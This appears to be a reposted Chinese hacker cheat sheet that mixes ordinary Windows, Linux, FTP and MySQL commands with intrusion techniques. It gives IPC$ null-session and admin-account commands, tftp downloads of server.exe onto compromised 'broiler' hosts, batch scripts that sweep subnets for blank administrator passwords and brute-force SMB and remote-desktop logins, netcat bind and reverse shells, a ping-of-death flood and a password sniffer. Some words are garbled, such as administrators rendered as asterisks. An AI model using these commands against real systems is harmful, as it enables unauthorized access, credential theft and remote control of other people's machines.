网上找的好东西

编程入门 行业动态 更新时间:2024-10-27 20:31:36

 

net use //ip/ipc$ " " /user:" " 建立IPC空链接
net use //ip/ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: //ip/c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: //ip/c$ 登陆后映射对方C:到本地为H:
net use //ip/ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名  开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time //目标ip 查看对方时间
net time //目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view //ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符/路径/要移动的文件名 存放移动文件的路径/移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at //ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径/文件名1 路径/文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:/srv.exe //ip/***$ 复制本地c:/srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy //ip/***$/svv.exe c:/ 或:copy//ip/***$/*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址/目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:/server.exe 登陆后,将“IP”的server.exe下载到目标主机c:/server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:/server.exe 登陆后,上传本地c:/server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径/批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:/、D:/统一改为:EntSky/ )
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径/可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名erm 替换指定用户的访问权限;/G 用户名erm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:/test.txt /D pub 设定d:/test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用rc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysql*** -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by /"密码/"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的//mysql//bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb 是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第 2-9个值;例:net use //ip/ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:/user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:/pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use //%1.%%G /user:***istrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:/user.dic) DO smb.exe %1 %%i D:/pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:/pass.dic来暴解d:/user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”
(二)系统外部命令(均需下载相关工具):
1、瑞士军刀:nc.exe
参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行〔危险〕
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:/log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:/log.txt
nc -L -p 80 < c:/honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:/honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:/honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:/honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:/winnt >> d:/log.txt 意思是:后台执行dir,并把结果存在d:/log.txt中
>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:/winnt >> d:/log.txt和@dir c:/winnt > d:/log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。
2、扫锚工具:xscan.exe
基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息


检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机
命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
4、终端服务密码破解: tscrack.exe
参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码
tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有33**主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码,并将破解结果保存在rouji.txt文件中。
5、其它:
Shutdown.exe
Shutdown //IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的 88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe //IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet //ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。
ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe //IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。
#10 十:
6、FTP命令详解:
FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。
FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中
-v 显示远程服务器的所有响应信息;
-n 限制ftp的自动登录,即不使用;.n etrc文件;
-d 使用调试方式;
-g 取消全局文件名。
FTP使用的内部命令如下(中括号表示可选项):
1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。
3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。
7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。
9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。
11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。
13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。
15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。
17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。
19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。
21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。
23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。
25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。
27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。
29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。
31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。
33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。
35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。
37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。
39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。

40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。
41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。
43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。
47.quit:同bye,退出ftp会话。
48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.
49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。
51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。
53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。
55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。
57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。
59.sendport:设置PORT命令的使用。
60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。
61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。
63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。
65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。
67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。
69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3
71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.
73.?[cmd]:同help.
7:计算机运行命令全集 winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
wscrīpt--------windows脚本宿主设置
write----------写字板winmsd-----系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
